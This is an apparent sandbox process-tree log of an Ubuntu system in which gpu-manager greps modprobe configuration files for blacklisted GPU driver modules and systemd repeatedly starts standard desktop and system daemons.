grep (PID: 6045, Parent: 6044, MD5: 1e6ebb9dd094f774478f72727bdba0f5) Arguments: grep -G ^blacklist.*radeon[[:space:]]*$ /etc/modprobe.d/alsa-base.conf /etc/modprobe.d/amd64-microcode-blacklist.conf /etc/modprobe.d/blacklist-ath_pci.conf /etc/modprobe.d/blacklist-firewire.conf /etc/modprobe.d/blacklist-framebuffer.conf /etc/modprobe.d/blacklist-modem.conf /etc/modprobe.d/blacklist-oss.conf /etc/modprobe.d/blacklist-rare-network.conf /etc/modprobe.d/blacklist.conf /etc/modprobe.d/intel-microcode-blacklist.conf /etc/modprobe.d/iwlwifi.conf /etc/modprobe.d/mdadm.conf

gpu-manager New Fork (PID: 6046, Parent: 6038)

sh (PID: 6046, Parent: 6038, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: sh -c "grep -G \"^blacklist.*radeon[[:space:]]*$\" /lib/modprobe.d/*.conf"

sh New Fork (PID: 6047, Parent: 6046)

grep (PID: 6047, Parent: 6046, MD5: 1e6ebb9dd094f774478f72727bdba0f5) Arguments: grep -G ^blacklist.*radeon[[:space:]]*$ /lib/modprobe.d/aliases.conf /lib/modprobe.d/blacklist_linux_5.4.0-72-generic.conf /lib/modprobe.d/blacklist_linux_5.4.0-81-generic.conf /lib/modprobe.d/fbdev-blacklist.conf /lib/modprobe.d/systemd.conf

gpu-manager New Fork (PID: 6048, Parent: 6038)

sh (PID: 6048, Parent: 6038, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: sh -c "grep -G \"^blacklist.*amdgpu[[:space:]]*$\" /etc/modprobe.d/*.conf"

sh New Fork (PID: 6049, Parent: 6048)

grep (PID: 6049, Parent: 6048, MD5: 1e6ebb9dd094f774478f72727bdba0f5) Arguments: grep -G ^blacklist.*amdgpu[[:space:]]*$ /etc/modprobe.d/alsa-base.conf /etc/modprobe.d/amd64-microcode-blacklist.conf /etc/modprobe.d/blacklist-ath_pci.conf /etc/modprobe.d/blacklist-firewire.conf /etc/modprobe.d/blacklist-framebuffer.conf /etc/modprobe.d/blacklist-modem.conf /etc/modprobe.d/blacklist-oss.conf /etc/modprobe.d/blacklist-rare-network.conf /etc/modprobe.d/blacklist.conf /etc/modprobe.d/intel-microcode-blacklist.conf /etc/modprobe.d/iwlwifi.conf /etc/modprobe.d/mdadm.conf

gpu-manager New Fork (PID: 6052, Parent: 6038)

sh (PID: 6052, Parent: 6038, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: sh -c "grep -G \"^blacklist.*amdgpu[[:space:]]*$\" /lib/modprobe.d/*.conf"

sh New Fork (PID: 6054, Parent: 6052)

grep (PID: 6054, Parent: 6052, MD5: 1e6ebb9dd094f774478f72727bdba0f5) Arguments: grep -G ^blacklist.*amdgpu[[:space:]]*$ /lib/modprobe.d/aliases.conf /lib/modprobe.d/blacklist_linux_5.4.0-72-generic.conf /lib/modprobe.d/blacklist_linux_5.4.0-81-generic.conf /lib/modprobe.d/fbdev-blacklist.conf /lib/modprobe.d/systemd.conf

gpu-manager New Fork (PID: 6056, Parent: 6038)

sh (PID: 6056, Parent: 6038, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: sh -c "grep -G \"^blacklist.*nouveau[[:space:]]*$\" /etc/modprobe.d/*.conf"

sh New Fork (PID: 6057, Parent: 6056)

grep (PID: 6057, Parent: 6056, MD5: 1e6ebb9dd094f774478f72727bdba0f5) Arguments: grep -G ^blacklist.*nouveau[[:space:]]*$ /etc/modprobe.d/alsa-base.conf /etc/modprobe.d/amd64-microcode-blacklist.conf /etc/modprobe.d/blacklist-ath_pci.conf /etc/modprobe.d/blacklist-firewire.conf /etc/modprobe.d/blacklist-framebuffer.conf /etc/modprobe.d/blacklist-modem.conf /etc/modprobe.d/blacklist-oss.conf /etc/modprobe.d/blacklist-rare-network.conf /etc/modprobe.d/blacklist.conf /etc/modprobe.d/intel-microcode-blacklist.conf /etc/modprobe.d/iwlwifi.conf /etc/modprobe.d/mdadm.conf

gpu-manager New Fork (PID: 6058, Parent: 6038)

sh (PID: 6058, Parent: 6038, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: sh -c "grep -G \"^blacklist.*nouveau[[:space:]]*$\" /lib/modprobe.d/*.conf"

sh New Fork (PID: 6059, Parent: 6058)

grep (PID: 6059, Parent: 6058, MD5: 1e6ebb9dd094f774478f72727bdba0f5) Arguments: grep -G ^blacklist.*nouveau[[:space:]]*$ /lib/modprobe.d/aliases.conf /lib/modprobe.d/blacklist_linux_5.4.0-72-generic.conf /lib/modprobe.d/blacklist_linux_5.4.0-81-generic.conf /lib/modprobe.d/fbdev-blacklist.conf /lib/modprobe.d/systemd.conf

systemd New Fork (PID: 6062, Parent: 1860)

dbus-daemon (PID: 6062, Parent: 1860, MD5: 3089d47e3f3ab84cd81c48fd406d7a8c) Arguments: /usr/bin/dbus-daemon --session --address=systemd: --nofork --nopidfile --systemd-activation --syslog-only

systemd New Fork (PID: 6063, Parent: 1860)

pulseaudio (PID: 6063, Parent: 1860, MD5: 0c3b4c789d8ffb12b25507f27e14c186) Arguments: /usr/bin/pulseaudio --daemonize=no --log-target=journal

systemd New Fork (PID: 6064, Parent: 1)

rtkit-daemon (PID: 6064, Parent: 1, MD5: df0cacf1db4ec95ac70f5b6e06b8ffd7) Arguments: /usr/libexec/rtkit-daemon

systemd New Fork (PID: 6069, Parent: 1)

polkitd (PID: 6069, Parent: 1, MD5: 8efc9b4b5b524210ad2ea1954a9d0e69) Arguments: /usr/lib/policykit-1/polkitd --no-debug

systemd New Fork (PID: 6073, Parent: 1)

generate-config (PID: 6073, Parent: 1, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: /usr/share/gdm/generate-config

generate-config New Fork (PID: 6074, Parent: 6073)

pkill (PID: 6074, Parent: 6073, MD5: fa96a75a08109d8842e4865b2907d51f) Arguments: pkill --signal HUP --uid gdm dconf-service

systemd New Fork (PID: 6075, Parent: 1)

systemd-journald (PID: 6075, Parent: 1, MD5: 474667ece6cecb5e04c6eb897a1d0d9e) Arguments: /lib/systemd/systemd-journald

systemd New Fork (PID: 6078, Parent: 1)

systemd-logind (PID: 6078, Parent: 1, MD5: 8dd58a1b4c12f7a1d5fe3ce18b2aaeef) Arguments: /lib/systemd/systemd-logind

systemd New Fork (PID: 6080, Parent: 1)

dbus-daemon (PID: 6080, Parent: 1, MD5: 3089d47e3f3ab84cd81c48fd406d7a8c) Arguments: /usr/bin/dbus-daemon --system --address=systemd: --nofork --nopidfile --systemd-activation --syslog-only

systemd New Fork (PID: 6104, Parent: 1)

rsyslogd (PID: 6104, Parent: 1, MD5: 0b8087fc907c42eb3c81a691db258e33) Arguments: /usr/sbin/rsyslogd -n -iNONE

systemd New Fork (PID: 6105, Parent: 1)

whoopsie (PID: 6105, Parent: 1, MD5: d3a6915d0e7398fb4c89a037c13959c8) Arguments: /usr/bin/whoopsie -f

systemd New Fork (PID: 6138, Parent: 1860)

pulseaudio (PID: 6138, Parent: 1860, MD5: 0c3b4c789d8ffb12b25507f27e14c186) Arguments: /usr/bin/pulseaudio --daemonize=no --log-target=journal

systemd New Fork (PID: 6146, Parent: 1)

rtkit-daemon (PID: 6146, Parent: 1, MD5: df0cacf1db4ec95ac70f5b6e06b8ffd7) Arguments: /usr/libexec/rtkit-daemon

systemd New Fork (PID: 6150, Parent: 1)

polkitd (PID: 6150, Parent: 1, MD5: 8efc9b4b5b524210ad2ea1954a9d0e69) Arguments: /usr/lib/policykit-1/polkitd --no-debug

systemd New Fork (PID: 6157, Parent: 1)

gdm-wait-for-drm (PID: 6157, Parent: 1, MD5: 82043ba752c6930b4e6aaea2f7747545) Arguments: /usr/lib/gdm3/gdm-wait-for-drm

systemd New Fork (PID: 6162, Parent: 1860)

dbus-daemon (PID: 6162, Parent: 1860, MD5: 3089d47e3f3ab84cd81c48fd406d7a8c) Arguments: /usr/bin/dbus-daemon --session --address=systemd: --nofork --nopidfile --systemd-activation --syslog-only

systemd New Fork (PID: 6163, Parent: 1)

systemd-journald (PID: 6163, Parent: 1, MD5: 474667ece6cecb5e04c6eb897a1d0d9e) Arguments: /lib/systemd/systemd-journald

systemd New Fork (PID: 6166, Parent: 1)

systemd-logind (PID: 6166, Parent: 1, MD5: 8dd58a1b4c12f7a1d5fe3ce18b2aaeef) Arguments: /lib/systemd/systemd-logind

systemd New Fork (PID: 6182, Parent: 1)

dbus-daemon (PID: 6182, Parent: 1, MD5: 3089d47e3f3ab84cd81c48fd406d7a8c) Arguments: /usr/bin/dbus-daemon --system --address=systemd: --nofork --nopidfile --systemd-activation --syslog-only

systemd New Fork (PID: 6220, Parent: 1860)

pulseaudio (PID: 6220, Parent: 1860, MD5: 0c3b4c789d8ffb12b25507f27e14c186) Arguments: /usr/bin/pulseaudio --daemonize=no --log-target=journal

systemd New Fork (PID: 6225, Parent: 1)

rsyslogd (PID: 6225, Parent: 1, MD5: 0b8087fc907c42eb3c81a691db258e33) Arguments: /usr/sbin/rsyslogd -n -iNONE

systemd New Fork (PID: 6226, Parent: 1)

whoopsie (PID: 6226, Parent: 1, MD5: d3a6915d0e7398fb4c89a037c13959c8) Arguments: /usr/bin/whoopsie -f

systemd New Fork (PID: 6230, Parent: 1)

gpu-manager (PID: 6230, Parent: 1, MD5: 8fae9dd5dd67e1f33d873089c2fd8761) Arguments: /usr/bin/gpu-manager --log /var/log/gpu-manager.log

gpu-manager New Fork (PID: 6232, Parent: 6230)

sh (PID: 6232, Parent: 6230, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: sh -c "grep -G \"^blacklist.*nvidia[[:space:]]*$\" /etc/modprobe.d/*.conf"

sh New Fork (PID: 6233, Parent: 6232)

grep (PID: 6233, Parent: 6232, MD5: 1e6ebb9dd094f774478f72727bdba0f5) Arguments: grep -G ^blacklist.*nvidia[[:space:]]*$ /etc/modprobe.d/alsa-base.conf /etc/modprobe.d/amd64-microcode-blacklist.conf /etc/modprobe.d/blacklist-ath_pci.conf /etc/modprobe.d/blacklist-firewire.conf /etc/modprobe.d/blacklist-framebuffer.conf /etc/modprobe.d/blacklist-modem.conf /etc/modprobe.d/blacklist-oss.conf /etc/modprobe.d/blacklist-rare-network.conf /etc/modprobe.d/blacklist.conf /etc/modprobe.d/intel-microcode-blacklist.conf /etc/modprobe.d/iwlwifi.conf /etc/modprobe.d/mdadm.conf

gpu-manager New Fork (PID: 6234, Parent: 6230)

sh (PID: 6234, Parent: 6230, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: sh -c "grep -G \"^blacklist.*nvidia[[:space:]]*$\" /lib/modprobe.d/*.conf"

sh New Fork (PID: 6235, Parent: 6234)

grep (PID: 6235, Parent: 6234, MD5: 1e6ebb9dd094f774478f72727bdba0f5) Arguments: grep -G ^blacklist.*nvidia[[:space:]]*$ /lib/modprobe.d/aliases.conf /lib/modprobe.d/blacklist_linux_5.4.0-72-generic.conf /lib/modprobe.d/blacklist_linux_5.4.0-81-generic.conf /lib/modprobe.d/fbdev-blacklist.conf /lib/modprobe.d/systemd.conf

gpu-manager New Fork (PID: 6236, Parent: 6230)

sh (PID: 6236, Parent: 6230, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: sh -c "grep -G \"^blacklist.*radeon[[:space:]]*$\" /etc/modprobe.d/*.conf"

sh New Fork (PID: 6237, Parent: 6236)

grep (PID: 6237, Parent: 6236, MD5: 1e6ebb9dd094f774478f72727bdba0f5) Arguments: grep -G ^blacklist.*radeon[[:space:]]*$ /etc/modprobe.d/alsa-base.conf /etc/modprobe.d/amd64-microcode-blacklist.conf /etc/modprobe.d/blacklist-ath_pci.conf /etc/modprobe.d/blacklist-firewire.conf /etc/modprobe.d/blacklist-framebuffer.conf /etc/modprobe.d/blacklist-modem.conf /etc/modprobe.d/blacklist-oss.conf /etc/modprobe.d/blacklist-rare-network.conf /etc/modprobe.d/blacklist.conf /etc/modprobe.d/intel-microcode-blacklist.conf /etc/modprobe.d/iwlwifi.conf /etc/modprobe.d/mdadm.conf

gpu-manager New Fork (PID: 6242, Parent: 6230)

sh (PID: 6242, Parent: 6230, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: sh -c "grep -G \"^blacklist.*radeon[[:space:]]*$\" /lib/modprobe.d/*.conf"

sh New Fork (PID: 6243, Parent: 6242)

grep (PID: 6243, Parent: 6242, MD5: 1e6ebb9dd094f774478f72727bdba0f5) Arguments: grep -G ^blacklist.*radeon[[:space:]]*$ /lib/modprobe.d/aliases.conf /lib/modprobe.d/blacklist_linux_5.4.0-72-generic.conf /lib/modprobe.d/blacklist_linux_5.4.0-81-generic.conf /lib/modprobe.d/fbdev-blacklist.conf /lib/modprobe.d/systemd.conf

gpu-manager New Fork (PID: 6246, Parent: 6230)

sh (PID: 6246, Parent: 6230, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: sh -c "grep -G \"^blacklist.*amdgpu[[:space:]]*$\" /etc/modprobe.d/*.conf"

sh New Fork (PID: 6249, Parent: 6246)

grep (PID: 6249, Parent: 6246, MD5: 1e6ebb9dd094f774478f72727bdba0f5) Arguments: grep -G ^blacklist.*amdgpu[[:space:]]*$ /etc/modprobe.d/alsa-base.conf /etc/modprobe.d/amd64-microcode-blacklist.conf /etc/modprobe.d/blacklist-ath_pci.conf /etc/modprobe.d/blacklist-firewire.conf /etc/modprobe.d/blacklist-framebuffer.conf /etc/modprobe.d/blacklist-modem.conf /etc/modprobe.d/blacklist-oss.conf /etc/modprobe.d/blacklist-rare-network.conf /etc/modprobe.d/blacklist.conf /etc/modprobe.d/intel-microcode-blacklist.conf /etc/modprobe.d/iwlwifi.conf /etc/modprobe.d/mdadm.conf

gpu-manager New Fork (PID: 6254, Parent: 6230)

sh (PID: 6254, Parent: 6230, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: sh -c "grep -G \"^blacklist.*amdgpu[[:space:]]*$\" /lib/modprobe.d/*.conf"

sh New Fork (PID: 6255, Parent: 6254)

grep (PID: 6255, Parent: 6254, MD5: 1e6ebb9dd094f774478f72727bdba0f5) Arguments: grep -G ^blacklist.*amdgpu[[:space:]]*$ /lib/modprobe.d/aliases.conf /lib/modprobe.d/blacklist_linux_5.4.0-72-generic.conf /lib/modprobe.d/blacklist_linux_5.4.0-81-generic.conf /lib/modprobe.d/fbdev-blacklist.conf /lib/modprobe.d/systemd.conf

gpu-manager New Fork (PID: 6259, Parent: 6230)

sh (PID: 6259, Parent: 6230, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: sh -c "grep -G \"^blacklist.*nouveau[[:space:]]*$\" /etc/modprobe.d/*.conf"

sh New Fork (PID: 6260, Parent: 6259)

grep (PID: 6260, Parent: 6259, MD5: 1e6ebb9dd094f774478f72727bdba0f5) Arguments: grep -G ^blacklist.*nouveau[[:space:]]*$ /etc/modprobe.d/alsa-base.conf /etc/modprobe.d/amd64-microcode-blacklist.conf /etc/modprobe.d/blacklist-ath_pci.conf /etc/modprobe.d/blacklist-firewire.conf /etc/modprobe.d/blacklist-framebuffer.conf /etc/modprobe.d/blacklist-modem.conf /etc/modprobe.d/blacklist-oss.conf /etc/modprobe.d/blacklist-rare-network.conf /etc/modprobe.d/blacklist.conf /etc/modprobe.d/intel-microcode-blacklist.conf /etc/modprobe.d/iwlwifi.conf /etc/modprobe.d/mdadm.conf

gpu-manager New Fork (PID: 6261, Parent: 6230)

sh (PID: 6261, Parent: 6230, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: sh -c "grep -G \"^blacklist.*nouveau[[:space:]]*$\" /lib/modprobe.d/*.conf"

sh New Fork (PID: 6262, Parent: 6261)

grep (PID: 6262, Parent: 6261, MD5: 1e6ebb9dd094f774478f72727bdba0f5) Arguments: grep -G ^blacklist.*nouveau[[:space:]]*$ /lib/modprobe.d/aliases.conf /lib/modprobe.d/blacklist_linux_5.4.0-72-generic.conf /lib/modprobe.d/blacklist_linux_5.4.0-81-generic.conf /lib/modprobe.d/fbdev-blacklist.conf /lib/modprobe.d/systemd.conf

systemd New Fork (PID: 6239, Parent: 1)

rtkit-daemon (PID: 6239, Parent: 1, MD5: df0cacf1db4ec95ac70f5b6e06b8ffd7) Arguments: /usr/libexec/rtkit-daemon

systemd New Fork (PID: 6248, Parent: 1)

polkitd (PID: 6248, Parent: 1, MD5: 8efc9b4b5b524210ad2ea1954a9d0e69) Arguments: /usr/lib/policykit-1/polkitd --no-debug

systemd New Fork (PID: 6265, Parent: 1)

systemd-journald (PID: 6265, Parent: 1, MD5: 474667ece6cecb5e04c6eb897a1d0d9e) Arguments: /lib/systemd/systemd-journald

systemd New Fork (PID: 6268, Parent: 1)

systemd-logind (PID: 6268, Parent: 1, MD5: 8dd58a1b4c12f7a1d5fe3ce18b2aaeef) Arguments: /lib/systemd/systemd-logind

systemd New Fork (PID: 6325, Parent: 1860)

pulseaudio (PID: 6325, Parent: 1860, MD5: 0c3b4c789d8ffb12b25507f27e14c186) Arguments: /usr/bin/pulseaudio --daemonize=no --log-target=journal

systemd New Fork (PID: 6326, Parent: 1)

generate-config (PID: 6326, Parent: 1, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: /usr/share/gdm/generate-config

generate-config New Fork (PID: 6328, Parent: 6326)

pkill (PID: 6328, Parent: 6326, MD5: fa96a75a08109d8842e4865b2907d51f) Arguments: pkill --signal HUP --uid gdm dconf-service

systemd New Fork (PID: 6329, Parent: 1)

rsyslogd (PID: 6329, Parent: 1, MD5: 0b8087fc907c42eb3c81a691db258e33) Arguments: /usr/sbin/rsyslogd -n -iNONE

systemd New Fork (PID: 6330, Parent: 1)

whoopsie (PID: 6330, Parent: 1, MD5: d3a6915d0e7398fb4c89a037c13959c8) Arguments: /usr/bin/whoopsie -f

systemd New Fork (PID: 6334, Parent: 1)

dbus-daemon (PID: 6334, Parent: 1, MD5: 3089d47e3f3ab84cd81c48fd406d7a8c) Arguments: /usr/bin/dbus-daemon --system --address=systemd: --nofork --nopidfile --systemd-activation --syslog-only

systemd New Fork (PID: 6339, Parent: 1)

rtkit-daemon (PID: 6339, Parent: 1, MD5: df0cacf1db4ec95ac70f5b6e06b8ffd7) Arguments: /usr/libexec/rtkit-daemon

systemd New Fork (PID: 6343, Parent: 1)

polkitd (PID: 6343, Parent: 1, MD5: 8efc9b4b5b524210ad2ea1954a9d0e69) Arguments: /usr/lib/policykit-1/polkitd --no-debug

systemd New Fork (PID: 6348, Parent: 1)

gdm-wait-for-drm (PID: 6348, Parent: 1, MD5: 82043ba752c6930b4e6aaea2f7747545) Arguments: /usr/lib/gdm3/gdm-wait-for-drm

systemd New Fork (PID: 6353, Parent: 1860)

dbus-daemon (PID: 6353, Parent: 1860, MD5: 3089d47e3f3ab84cd81c48fd406d7a8c) Arguments: /usr/bin/dbus-daemon --session --address=systemd: --nofork --nopidfile --systemd-activation --syslog-only

systemd New Fork (PID: 6354, Parent: 1)

systemd-journald (PID: 6354, Parent: 1, MD5: 474667ece6cecb5e04c6eb897a1d0d9e) Arguments: /lib/systemd/systemd-journald

systemd New Fork (PID: 6357, Parent: 1)

dbus-daemon (PID: 6357, Parent: 1, MD5: 3089d47e3f3ab84cd81c48fd406d7a8c) Arguments: /usr/bin/dbus-daemon --system --address=systemd: --nofork --nopidfile --systemd-activation --syslog-only

systemd New Fork (PID: 6358, Parent: 1)

systemd-logind (PID: 6358, Parent: 1, MD5: 8dd58a1b4c12f7a1d5fe3ce18b2aaeef) Arguments: /lib/systemd/systemd-logind

systemd New Fork (PID: 6410, Parent: 1860)

pulseaudio (PID: 6410, Parent: 1860, MD5: 0c3b4c789d8ffb12b25507f27e14c186) Arguments: /usr/bin/pulseaudio --daemonize=no --log-target=journal

systemd New Fork (PID: 6411, Parent: 1)

rsyslogd (PID: 6411, Parent: 1, MD5: 0b8087fc907c42eb3c81a691db258e33) Arguments: /usr/sbin/rsyslogd -n -iNONE

systemd New Fork (PID: 6412, Parent: 1)

whoopsie (PID: 6412, Parent: 1, MD5: d3a6915d0e7398fb4c89a037c13959c8) Arguments: /usr/bin/whoopsie -f

systemd New Fork (PID: 6420, Parent: 1)

gpu-manager (PID: 6420, Parent: 1, MD5: 8fae9dd5dd67e1f33d873089c2fd8761) Arguments: /usr/bin/gpu-manager --log /var/log/gpu-manager.log

gpu-manager New Fork (PID: 6421, Parent: 6420)

sh (PID: 6421, Parent: 6420, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: sh -c "grep -G \"^blacklist.*nvidia[[:space:]]*$\" /etc/modprobe.d/*.conf"

sh New Fork (PID: 6422, Parent: 6421)

grep (PID: 6422, Parent: 6421, MD5: 1e6ebb9dd094f774478f72727bdba0f5) Arguments: grep -G ^blacklist.*nvidia[[:space:]]*$ /etc/modprobe.d/alsa-base.conf /etc/modprobe.d/amd64-microcode-blacklist.conf /etc/modprobe.d/blacklist-ath_pci.conf /etc/modprobe.d/blacklist-firewire.conf /etc/modprobe.d/blacklist-framebuffer.conf /etc/modprobe.d/blacklist-modem.conf /etc/modprobe.d/blacklist-oss.conf /etc/modprobe.d/blacklist-rare-network.conf /etc/modprobe.d/blacklist.conf /etc/modprobe.d/intel-microcode-blacklist.conf /etc/modprobe.d/iwlwifi.conf /etc/modprobe.d/mdadm.conf

gpu-manager New Fork (PID: 6426, Parent: 6420)

sh (PID: 6426, Parent: 6420, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: sh -c "grep -G \"^blacklist.*nvidia[[:space:]]*$\" /lib/modprobe.d/*.conf"

sh New Fork (PID: 6427, Parent: 6426)

grep (PID: 6427, Parent: 6426, MD5: 1e6ebb9dd094f774478f72727bdba0f5) Arguments: grep -G ^blacklist.*nvidia[[:space:]]*$ /lib/modprobe.d/aliases.conf /lib/modprobe.d/blacklist_linux_5.4.0-72-generic.conf /lib/modprobe.d/blacklist_linux_5.4.0-81-generic.conf /lib/modprobe.d/fbdev-blacklist.conf /lib/modprobe.d/systemd.conf

gpu-manager New Fork (PID: 6429, Parent: 6420)

sh (PID: 6429, Parent: 6420, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: sh -c "grep -G \"^blacklist.*radeon[[:space:]]*$\" /etc/modprobe.d/*.conf"

sh New Fork (PID: 6430, Parent: 6429)

grep (PID: 6430, Parent: 6429, MD5: 1e6ebb9dd094f774478f72727bdba0f5) Arguments: grep -G ^blacklist.*radeon[[:space:]]*$ /etc/modprobe.d/alsa-base.conf /etc/modprobe.d/amd64-microcode-blacklist.conf /etc/modprobe.d/blacklist-ath_pci.conf /etc/modprobe.d/blacklist-firewire.conf /etc/modprobe.d/blacklist-framebuffer.conf /etc/modprobe.d/blacklist-modem.conf /etc/modprobe.d/blacklist-oss.conf /etc/modprobe.d/blacklist-rare-network.conf /etc/modprobe.d/blacklist.conf /etc/modprobe.d/intel-microcode-blacklist.conf /etc/modprobe.d/iwlwifi.conf /etc/modprobe.d/mdadm.conf

gpu-manager New Fork (PID: 6431, Parent: 6420)

sh (PID: 6431, Parent: 6420, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: sh -c "grep -G \"^blacklist.*radeon[[:space:]]*$\" /lib/modprobe.d/*.conf"

sh New Fork (PID: 6432, Parent: 6431)

grep (PID: 6432, Parent: 6431, MD5: 1e6ebb9dd094f774478f72727bdba0f5) Arguments: grep -G ^blacklist.*radeon[[:space:]]*$ /lib/modprobe.d/aliases.conf /lib/modprobe.d/blacklist_linux_5.4.0-72-generic.conf /lib/modprobe.d/blacklist_linux_5.4.0-81-generic.conf /lib/modprobe.d/fbdev-blacklist.conf /lib/modprobe.d/systemd.conf

gpu-manager New Fork (PID: 6435, Parent: 6420)

sh (PID: 6435, Parent: 6420, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: sh -c "grep -G \"^blacklist.*amdgpu[[:space:]]*$\" /etc/modprobe.d/*.conf"

sh New Fork (PID: 6436, Parent: 6435)

grep (PID: 6436, Parent: 6435, MD5: 1e6ebb9dd094f774478f72727bdba0f5) Arguments: grep -G ^blacklist.*amdgpu[[:space:]]*$ /etc/modprobe.d/alsa-base.conf /etc/modprobe.d/amd64-microcode-blacklist.conf /etc/modprobe.d/blacklist-ath_pci.conf /etc/modprobe.d/blacklist-firewire.conf /etc/modprobe.d/blacklist-framebuffer.conf /etc/modprobe.d/blacklist-modem.conf /etc/modprobe.d/blacklist-oss.conf /etc/modprobe.d/blacklist-rare-network.conf /etc/modprobe.d/blacklist.conf /etc/modprobe.d/intel-microcode-blacklist.conf /etc/modprobe.d/iwlwifi.conf /etc/modprobe.d/mdadm.conf

gpu-manager New Fork (PID: 6438, Parent: 6420)

sh (PID: 6438, Parent: 6420, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: sh -c "grep -G \"^blacklist.*amdgpu[[:space:]]*$\" /lib/modprobe.d/*.conf"

sh New Fork (PID: 6439, Parent: 6438)

grep (PID: 6439, Parent: 6438, MD5: 1e6ebb9dd094f774478f72727bdba0f5) Arguments: grep -G ^blacklist.*amdgpu[[:space:]]*$ /lib/modprobe.d/aliases.conf /lib/modprobe.d/blacklist_linux_5.4.0-72-generic.conf /lib/modprobe.d/blacklist_linux_5.4.0-81-generic.conf /lib/modprobe.d/fbdev-blacklist.conf /lib/modprobe.d/systemd.conf

gpu-manager New Fork (PID: 6448, Parent: 6420)

sh (PID: 6448, Parent: 6420, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: sh -c "grep -G \"^blacklist.*nouveau[[:space:]]*$\" /etc/modprobe.d/*.conf"

sh New Fork (PID: 6449, Parent: 6448)

grep (PID: 6449, Parent: 6448, MD5: 1e6ebb9dd094f774478f72727bdba0f5) Arguments: grep -G ^blacklist.*nouveau[[:space:]]*$ /etc/modprobe.d/alsa-base.conf /etc/modprobe.d/amd64-microcode-blacklist.conf /etc/modprobe.d/blacklist-ath_pci.conf /etc/modprobe.d/blacklist-firewire.conf /etc/modprobe.d/blacklist-framebuffer.conf /etc/modprobe.d/blacklist-modem.conf /etc/modprobe.d/blacklist-oss.conf /etc/modprobe.d/blacklist-rare-network.conf /etc/modprobe.d/blacklist.conf /etc/modprobe.d/intel-microcode-blacklist.conf /etc/modprobe.d/iwlwifi.conf /etc/modprobe.d/mdadm.conf

gpu-manager New Fork (PID: 6450, Parent: 6420)

sh (PID: 6450, Parent: 6420, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: sh -c "grep -G \"^blacklist.*nouveau[[:space:]]*$\" /lib/modprobe.d/*.conf"

sh New Fork (PID: 6451, Parent: 6450)

grep (PID: 6451, Parent: 6450, MD5: 1e6ebb9dd094f774478f72727bdba0f5) Arguments: grep -G ^blacklist.*nouveau[[:space:]]*$ /lib/modprobe.d/aliases.conf /lib/modprobe.d/blacklist_linux_5.4.0-72-generic.conf /lib/modprobe.d/blacklist_linux_5.4.0-81-generic.conf /lib/modprobe.d/fbdev-blacklist.conf /lib/modprobe.d/systemd.conf

systemd New Fork (PID: 6434, Parent: 1)

rtkit-daemon (PID: 6434, Parent: 1, MD5: df0cacf1db4ec95ac70f5b6e06b8ffd7) Arguments: /usr/libexec/rtkit-daemon

systemd New Fork (PID: 6442, Parent: 1)

polkitd (PID: 6442, Parent: 1, MD5: 8efc9b4b5b524210ad2ea1954a9d0e69) Arguments: /usr/lib/policykit-1/polkitd --no-debug

systemd New Fork (PID: 6454, Parent: 1)

generate-config (PID: 6454, Parent: 1, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: /usr/share/gdm/generate-config

generate-config New Fork (PID: 6455, Parent: 6454)

pkill (PID: 6455, Parent: 6454, MD5: fa96a75a08109d8842e4865b2907d51f) Arguments: pkill --signal HUP --uid gdm dconf-service

systemd New Fork (PID: 6459, Parent: 1)

systemd-journald (PID: 6459, Parent: 1, MD5: 474667ece6cecb5e04c6eb897a1d0d9e) Arguments: /lib/systemd/systemd-journald

systemd New Fork (PID: 6462, Parent: 1)

systemd-logind (PID: 6462, Parent: 1, MD5: 8dd58a1b4c12f7a1d5fe3ce18b2aaeef) Arguments: /lib/systemd/systemd-logind

systemd New Fork (PID: 6519, Parent: 1860)

pulseaudio (PID: 6519, Parent: 1860, MD5: 0c3b4c789d8ffb12b25507f27e14c186) Arguments: /usr/bin/pulseaudio --daemonize=no --log-target=journal

systemd New Fork (PID: 6520, Parent: 1)

rsyslogd (PID: 6520, Parent: 1, MD5: 0b8087fc907c42eb3c81a691db258e33) Arguments: /usr/sbin/rsyslogd -n -iNONE

systemd New Fork (PID: 6521, Parent: 1)

whoopsie (PID: 6521, Parent: 1, MD5: d3a6915d0e7398fb4c89a037c13959c8) Arguments: /usr/bin/whoopsie -f

systemd New Fork (PID: 6526, Parent: 1)

dbus-daemon (PID: 6526, Parent: 1, MD5: 3089d47e3f3ab84cd81c48fd406d7a8c) Arguments: /usr/bin/dbus-daemon --system --address=systemd: --nofork --nopidfile --systemd-activation --syslog-only

systemd New Fork (PID: 6527, Parent: 1)

gpu-manager (PID: 6527, Parent: 1, MD5: 8fae9dd5dd67e1f33d873089c2fd8761) Arguments: /usr/bin/gpu-manager --log /var/log/gpu-manager.log

gpu-manager New Fork (PID: 6528, Parent: 6527)

sh (PID: 6528, Parent: 6527, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: sh -c "grep -G \"^blacklist.*nvidia[[:space:]]*$\" /etc/modprobe.d/*.conf"

sh New Fork (PID: 6529, Parent: 6528)

